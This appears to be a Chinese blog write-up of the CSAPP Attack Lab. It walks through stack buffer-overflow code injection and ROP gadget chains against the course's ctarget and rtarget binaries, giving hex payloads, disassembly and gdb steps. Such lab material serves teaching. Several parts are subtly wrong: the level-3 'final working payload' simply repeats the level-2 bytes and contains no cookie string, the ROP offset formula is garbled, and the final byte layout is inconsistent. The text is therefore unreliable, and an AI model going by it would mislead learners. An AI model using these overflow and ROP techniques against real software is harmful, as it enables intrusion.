CSAPP-Attacklab

CSAPP实验3:Attack

预处理

对可执行文件进行反汇编

复制代码
objdump -d ctarget > ctarget.s
objdump -d rtarget > rtarget.s

CI意为代码注入,在前三关中我们要在输入的字符串中添加我们自己的代码并想方法让程序执行我们的代码

第一关

函数"getbuf"反汇编代码:

复制代码
000000000040167f <getbuf>:
  40167f:	48 83 ec 18          	sub    $0x18,%rsp
  401683:	48 89 e7             	mov    %rsp,%rdi
  401686:	e8 59 02 00 00       	call   4018e4 <Gets>
  40168b:	b8 01 00 00 00       	mov    $0x1,%eax
  401690:	48 83 c4 18          	add    $0x18,%rsp
  401694:	c3                   	ret

可以看到该函数一开始为栈分配了0x18个字节的空间

buf 的大小 = 0x18 = 24 字节

反汇编显示:

复制代码
sub $0x18, %rsp     ; 分配 24 字节 buf
mov %rsp, %rdi       ; rdi = buf 起始地址
call Gets

所以:

rsp 指向 buf[0]

buf 长度 = 24 字节

中说了:

为了覆盖返回地址,你必须写满 buffer 和 saved %rbp。

这意味着:

只要填满:

24 字节 buf

接下来的 8 字节就会被你的输入覆盖成你想要的地址(touch1)。

再次查看反汇编代码:

0000000000401695 <touch1>:

所以 touch1 的入口地址就是:0x401695

说明文档要求用小端序写入地址

你写入的地址必须为 little-endian。

将 address 转成 8 字节小端序:

touch1 = 0x401695 → 95 16 40 00 00 00 00 00

所以创建了一个文件exploit1.txt

复制代码
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
95 16 40 00 00 00 00 00

前24个字节用任意数填充,我用的41对应的是"A"

第25-32字节是前面分析得到的 95 16 40 00 00 00 00 00

bash 复制代码
# 用 hex2raw 生成 raw
./hex2raw < exploit1.txt > ctarget.l1

# 运行 target
./ctarget < ctarget.l1

看到输出下列内容就说明第一关成功了:

复制代码
Cookie: 0x3d9549ca
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS:

第二关

在第一关中我们已经可以修改函数"getbuf"的返回地址来让他返回到函数"touch1"了;第二关需要让程序执行你注入的代码,让它最终进入 touch2,并让 %rdi = cookie。

而实验要求中写了

前三个阶段,你的攻击字符串会攻击ctarget程序。程序被设置成栈的位置每次执行都一样,这样一来栈上的数据就可以等效于可执行代码。这使得程序更容易遭受包含可执行代码字节编码的攻击字符串的攻击。

调试获取栈顶地址(注入代码起始地址)运行:

复制代码
gdb ctarget
break *0x40168b
run < exploit2.raw
p/x $rsp

实际得到的地址:

复制代码
$rsp = 0x55654c98

这个地址就是:

  • buf 的起始地址
  • 也是你注入代码的执行起点
  • 因此 覆盖返回地址时必须写入 0x55654c98

我们要让 getbuf 的 ret 跳到我们的代码,并执行:

  • 给 rdi 赋值 cookie
  • 然后跳转到 touch2

touch2 地址来自 disas:

复制代码
touch2: 0x4016c1

cookie 来自 ctarget 输出:

复制代码
Cookie: 0x3d9549ca

因此,我们需要的代码逻辑是:

复制代码
pushq $0x4016c1         # 将 touch2 的地址压栈
movabs $0x3d9549ca, %rdi
ret

执行流程:

  1. 代码末尾执行 ret
  2. ret 从栈顶弹出值
  3. 栈顶是 push 存入的 0x4016c1 → 控制流跳到 touch2 开头

pushq $0x4016c1:

复制代码
68 c1 16 40 00

movabs $cookie, %rdi(10字节):

复制代码
48 bf ca 49 95 3d 00 00 00 00

ret:

复制代码
c3

完整长度:

  • push:5 字节
  • movabs:10 字节
  • ret:1 字节
  • 合计:16 字节

getbuf 的缓冲区长度是 24 字节,因此还要用任意数补齐:

复制代码
剩余 8 字节 → 用 nop (90) 填充

整个 payload 分三段:

第一段:前 24 字节(注入代码)

复制代码
68 c1 16 40 00
48 bf ca 49 95 3d 00 00 00 00
c3
90 90 90 90 90 90 90 90

第二段:覆盖 getbuf 返回地址(buf 的起始地址)

复制代码
98 4c 65 55 00 00 00 00

对应 little-endian 的 0x55654c98

第三段:push 指令需要的立即数,这里放 touch2 的地址

复制代码
c1 16 40 00 00 00 00 00

这 8 字节会被 push 取走,因此必须放在 offset 32--39。


组合的最终 payload (可直接 hex2raw 使用)

复制代码
68 c1 16 40 00
48 bf ca 49 95 3d 00 00 00 00
c3
90 90 90 90 90 90 90 90
98 4c 65 55 00 00 00 00
c1 16 40 00 00 00 00 00

使用 hex2raw 构造 raw:

复制代码
./hex2raw < exploit2.txt > ctarget.l2
./ctarget < ctarget.l2

执行成功后会显示:

复制代码
 ./ctarget < exploit2.raw
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target ctarget
PASS:

第三关

第三关与第二关相同点:都是代码注入攻击,通过栈执行我们放进去的机器码。

不同点是:需要向 touch3 传递一个指针,指向我们放在栈上的 cookie 字符串。

要求构造一个攻击字符串,使 ctarget 调用 touch3,并将一个可打印的十六进制字符串的指针传入 %rdi,即最终执行:

复制代码
touch3("your_cookie_string")

因此本关不再像 touch2 一样直接给寄存器赋值,而是要构造一个字符串放在攻击缓冲区中,并让 %rdi 指向该字符串的位置。

本关的难点在于:

  • payload 中既包含机器码,也包含字符串,需要管理它们的相对位置
  • 需要计算字符串在栈中的运行时真实地址
  • 机器码部分要将该地址写入寄存器 %rdi
  • 返回地址要跳转到 touch3

整体结构如下:

复制代码
[注入代码24字节][字符串内容][返回地址]

反汇编 touch3:

复制代码
00000000004017ad <touch3>:
  4017ad:	53                   	push   %rbx
  4017ae:	48 89 fb             	mov    %rdi,%rbx
  4017b1:	c7 05 41 2d 20 00 03 	movl   $0x3,0x202d41(%rip)        # 6044fc <vlevel>
  4017b8:	00 00 00 
  4017bb:	48 89 fe             	mov    %rdi,%rsi
  4017be:	8b 3d 40 2d 20 00    	mov    0x202d40(%rip),%edi        # 604504 <cookie>
  4017c4:	e8 58 ff ff ff       	call   401721 <hexmatch>
  4017c9:	85 c0                	test   %eax,%eax
  4017cb:	74 2b                	je     4017f8 <touch3+0x4b>
  4017cd:	48 89 da             	mov    %rbx,%rdx
  4017d0:	be 00 2e 40 00       	mov    $0x402e00,%esi
  4017d5:	bf 01 00 00 00       	mov    $0x1,%edi
  4017da:	b8 00 00 00 00       	mov    $0x0,%eax
  4017df:	e8 0c f5 ff ff       	call   400cf0 <__printf_chk@plt>
  4017e4:	bf 03 00 00 00       	mov    $0x3,%edi
  4017e9:	e8 b1 02 00 00       	call   401a9f <validate>
  4017ee:	bf 00 00 00 00       	mov    $0x0,%edi
  4017f3:	e8 38 f5 ff ff       	call   400d30 <exit@plt>
  4017f8:	48 89 da             	mov    %rbx,%rdx
  4017fb:	be 28 2e 40 00       	mov    $0x402e28,%esi
  401800:	bf 01 00 00 00       	mov    $0x1,%edi
  401805:	b8 00 00 00 00       	mov    $0x0,%eax
  40180a:	e8 e1 f4 ff ff       	call   400cf0 <__printf_chk@plt>
  40180f:	bf 03 00 00 00       	mov    $0x3,%edi
  401814:	e8 4b 03 00 00       	call   401b64 <fail>
  401819:	eb d3

可看到 touch3 接受一个参数 %rdi 指向的字符串,需要和 cookie 的 ASCII 字符串匹配。

前两关一样,getbuf 的缓冲区是 24 字节:

复制代码
char buf[24]

getbuf 的 ret 发生覆盖前:

复制代码
24 字节用于代码
紧跟着的是溢出的返回地址 (8 字节)

所以结构:

复制代码
00-23: 注入代码
24-31: 返回地址(覆盖 ret)

但本关还要在 payload 放字符串,因此字符串不能放在前 32 字节范围内,它必须放在后面,在我们控制的 payload 尾部。

为了狠狠注入数据,必须知道运行时 buf 的起始地址。

运行程序并在 getbuf 内打断点:

复制代码
(gdb) break getbuf
(gdb) run < exploit3.raw
(gdb) p/x $rsp

输出:

复制代码
$rsp = 0x55654c98

则:

  • buf 的起始地址 = 0x55654c98
  • 注入代码的起始位置就是 0x55654c98

我们将在第 24 字节之后放 cookie 字符串,例如从:

复制代码
buf + 24 + 8 = buf + 32

开始的位置就是字符串存放位置。

根据前两关的经验,你最终用的地址为:

复制代码
字符串地址 = 0x55654c98 + 24 + 8 = 0x55654cb8

注入代码目标:

  1. 将字符串的实际地址放入 %rdi
  2. 返回到 touch3

因此我们需要:

复制代码
movq $STRING_ADDR, %rdi
pushq $touch3_addr
ret

转换成字节:

复制代码
68 c1 16 40 00                 pushq $0x4016c1
48 bf ca 49 95 3d 00 00 00 00  movq $0x3d9549ca, %rdi(示例)
c3                             ret
90 90 90 90 90 90 90 90        NOP 填充

然后是字符串部分和跳转地址。

最终工作 payload 为:

复制代码
[24字节注入代码]
[字符串]
[覆盖返回地址→跳到注入代码]

68 c1 16 40 00
48 bf ca 49 95 3d 00 00 00 00
c3
90 90 90 90 90 90 90 90
98 4c 65 55 00 00 00 00   ← 字符串地址
c1 16 40 00 00 00 00 00   ← touch3 返回地址

实际执行时程序流程:

  • getbuf 返回时跳到你注入的代码
  • 注入代码执行 push 和 mov 指令,把字符串地址写入 rdi
  • ret 跳到 touch3
  • touch3 读到 rdi 指向的 cookie 字符串,判定成功

ROP

ROP意为面向返回结果的编程,在ROP的这两关中我们无法像之前那样自己编写指令并让程序执行,而是给我们提供了一个"farm",我们可以把程序导向"farm"中的已有的汇编代码

第二关

本题的任务与Phase 2相同,都是要求返回到touch2函数。

首先,要做的是把 cookie 赋值给参数寄存器%rdi,考虑将 cookie 放在栈中,再用指令:

c 复制代码
pop %rdi
ret

就能实现参数的赋值了,当ret后,从栈中取出来的程序地址再设置为touch2的地址就能成功解决本题

在实验资料中给了张表:

其中,pop %rdi 对应的是5f, ret 对应的是c3

但是找遍了所有的指令编码,也没有找到 5f c3 在一起的情况出现,所以需要转变一下策略,用其他寄存器进行中转,用两个gadget

c 复制代码
popq %rax
ret
###############
movq %rax, %rdi
ret

查表知,pop %rax58表示,movq %rax, %rdi表示为48 89 c7

找到了:

复制代码
0000000000401873 <addval_385>: 
401873: 8d 87 00 58 90 c3 lea -0x3c6fa800(%rdi),%eax

0000000000401858 <setval_422>: 
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)

分别存在 58 90 c348 89 c7 c3 由于90 代表的是nop,可以忽略

所以pop %rax;ret;的地址是401876

movq %rax, %rdi;ret;40185a

同理填上payload

复制代码
[padding 24 bytes]
[gadget1: popq %rax]
[cookie value]
[gadget2: movq %rax, %rdi]
[address of touch2]


00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
76 18 40 00 00 00 00 00
ca 49 95 3d 00 00 00 00
5a 18 40 00 00 00 00 00
c1 16 40 00 00 00 00 00

第三关

与前一关一样,先来梳理我们需要干什么:

  1. 把cookie以字符串的形式放入栈中
  2. 把cookie的地址赋给寄存器%rdi
  3. 程序跳转到函数"touch3"

第1步和第3步没什么难的,这样的事我们已经做过好多次了;关键在于第2步,由于程序采用了栈随机化,我们根本不知道放进去的字符串的地址,只有可能知道它与寄存器%rsp中存储的栈顶地址的相对距离。其实基本可以确定:我们要用寄存器%rsp中的值去计算得出我们的字符串存储的位置

那这样的话我们的指令大抵要完成三个内容:

  1. 记录某个时刻程序寄存器%rsp的值(某时刻的栈顶地址)
  2. 对那个栈顶地址进行某些计算得到cookie地址
  3. 将cookie地址赋给寄存器%rdi
第一步

如果我们能直接 movq %rsp,%rdi那肯定是最方便的,但是farm中以%rsp为源寄存器的指令只有 movq %rsp,%rax,那么我们就只能先把寄存器%rsp的值存储在寄存器%rax中

注意 ,这时因为已经进入了第一个gadget,寄存器%rsp的值与在函数"getbuf"时已有不同;若仍以在函数"getbuf"中保存我们输入字符串的起始位置为0的话,第一条指令执行完毕后保存的寄存器%rax的值为0x20(相对地址)

第二步

我们要想办法计算得到cookie字符串的值,就要解决一个问题:加法。题目并没有给出add指令的二进制码,那我们该怎么实现呢?我想了好久,就在我漫无目的的翻着farm中函数时,找到了惊喜:

这不就是rax = rdi + rsi么?那接下来我们要做的就很明确了:把cookie相对0x20的偏移量和0x20对应的绝对地址放进寄存器%rdi和%rsi中

先讨论偏移量怎么算吧:

到目前为止,我们还没有确定cookie到底放在我们输入的哪里也就是栈的哪个位置,按照CI时cookie存放的经验,应该是放在我们输入的字符串的结尾。那就先设cookie相对0x20的偏移量为n吧

假设我们一共会用a个gadget,其中有b个gadget有pop相关操作,那么应该有

n = 8 ∗ ( n − 1 ) + 8 ∗ b + 8 = 8 ∗ ( n + b ) n = 8*(n-1)+8*b+8 = 8*(n+b) n=8∗(n−1)+8∗b+8=8∗(n+b)

其中 8 ∗ n 8*n 8∗n是第一个gadget之后所有gadget的返回地址要占用的空间; 8 ∗ b 8*b 8∗b是pop出去的数据所要占的空间; 8 8 8是函数touch3地址所要占的空间

具体计算步骤

  1. movq %rsp, %rax

    89 e0 c3

    复制代码
    0000000000401932 <addval_479>:
      401932:	8d 87 48 89 e0 c3    	lea    -0x3c1f76b8(%rdi),%eax
      401938:	c3                   	ret
  2. movq %rax,%rdi

将第一步中保存的栈的地址赋给寄存器%rdi

48 89 c7 c3

复制代码
0000000000401858 <setval_422>:
  401858:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  40185e:	c3                   	ret
  1. popq %rax(提供的pop指令只能pop到%rax)

把cookie的偏移量赋给寄存器%rax

58 c3

复制代码
000000000040185f <setval_219>:
  40185f:	c7 07 98 d2 58 c3    	movl   $0xc358d298,(%rdi)
  401865:	c3                   	ret
  1. movl %eax,%ecx

这时我应该 movq %rax,%rsi,但是farm中未给出相关操作,所以3-5步就是曲线将寄存器%rax中的值转移到%rsi中

89 c1 c3

复制代码
00000000004018ae <setval_231>:
  4018ae:	c7 07 89 c1 08 db    	movl   $0xdb08c189,(%rdi)
  4018b4:	c3                   	ret

在地址4018ae处,setval_231的值为0xdb08c189,对应字节序列:89 c1 08 db c3

  • 4018b0开始执行:89 c1 = movl %eax, %ecx,然后是08 dbor %bl, %bl,无害指令),最后是c3ret
  • 使用地址:0x4018b0
  1. movl %ecx,%edx

89 ca c3

复制代码
00000000004018a1 <addval_245>:
  4018a1:	8d 87 89 ca 20 c0    	lea    -0x3fdf3577(%rdi),%eax
  4018a7:	c3                   	ret

在地址4018a1处,addval_245的值为0xc020ca89,对应字节序列:89 ca 20 c0 c3

  • 4018a3开始执行:89 ca = movl %ecx, %edx,然后是20 c0and %al, %al,无害指令),最后是c3ret
  • 使用地址:0x4018a3
  1. movl %edx,esi

89 d6 c3

复制代码
00000000004018c9 <getval_301>:
  4018c9:	b8 89 d6 20 d2       	mov    $0xd220d689,%eax
  4018ce:	c3                   	ret

在地址4018c9处,getval_301的值为0xd220d689,对应字节序列:89 d6 20 d2 c3

  • 4018cb开始执行:89 d6 = movl %edx, %esi,然后是20 d2and %dl, %dl,无害指令),最后是c3ret
  • 使用地址:0x4018cb
  1. lea (%rdi,%rsi,1),%rax

计算出了cookie地址并存储在寄存器%rax中

复制代码
0000000000401887 <add_xy>:
  401887:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  40188b:	c3                   	ret

所以完整的ROP链是:

复制代码
1. movq %rsp, %rax     -> 使用 0x401934 (来自 addval_479)
2. movq %rax, %rdi     -> 使用 0x40185a (来自 setval_422)
3. popq %rax           -> 使用 0x401863 (来自 setval_219)
4. cookie偏移量
5. movl %eax, %ecx     -> 使用 0x4018b0 (来自 setval_231)
6. movl %ecx, %edx     -> 使用 0x4018a3 (来自 addval_245)
7. movl %edx, %esi     -> 使用 0x4018cb (来自 getval_301)
8. lea (%rdi,%rsi,1),%rax -> 使用 0x401887 (add_xy)
9. movq %rax, %rdi     -> 使用 0x40185a
10. touch3地址
第三步

把cookie地址赋给寄存器%rdi

因为在前一步cookie地址已经被存储在寄存器%rax中了,所以这一步要实现的就是简单的 movq %rax,%rdi,在farm中就有,直接用就行

这三步结束之后,我们得知一共要用8个gadget,其中有1个是pop操作,那么n的值就是 8 ∗ ( 8 + 1 ) = 72 = 0 x 48 8*(8+1)=72=0x48 8∗(8+1)=72=0x48

最后的字节序列:

assembly 复制代码
# 字节0x00到0x17只要不输'0x0a'就无所谓,用不到
0x00 - 0x0f: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10 - 0x1f: 00 00 00 00 00 00 00 00 'movq %rsp,%rax' 00 00 00 00
0x20 - 0x2f: 'movq %rax,rdi' 00 00 00 00 'popq %rax' 00 00 00 00 00 
0x30 - 0x3f: 48 00 00 00 00 00 00 'movl %eax,%ecx' 00 00 00 00 
0x40 - 0x4f: 'movl %ecx,%edx' 00 00 00 00 'movl %edx,esi' 00 00 00 00 
0x50 - 0x5f: 'lea (%rdi,%rsi,1),%rax' 00 00 00 00 'movq %rax,%rdi' 00 00 00 00
0x60 - 0x6f: 函数touch3地址 cookie字符串
相关推荐
郑州光合科技余经理2 小时前
海外国际版同城服务系统开发:PHP技术栈
java·大数据·开发语言·前端·人工智能·架构·php
一行注释2 小时前
前端数据加密:保护用户数据的第一道防线
前端
纪伊路上盛名在2 小时前
记1次BioPython Entrez模块Elink的debug
前端·数据库·python·debug·工具开发
xiaoxue..2 小时前
React 之 Hooks
前端·javascript·react.js·面试·前端框架
旧梦吟2 小时前
脚本网页 三人四字棋
前端·数据库·算法·css3·html5
莫物2 小时前
element el-table表格 添加唯一标识
前端·javascript·vue.js
我看刑2 小时前
【已解决】el-table 前端分页多选、跨页全选等
前端·vue·element
我会一直在的2 小时前
Fiddler基础使用介绍
前端·测试工具·fiddler
小明记账簿2 小时前
前端文件流下载方法封装
前端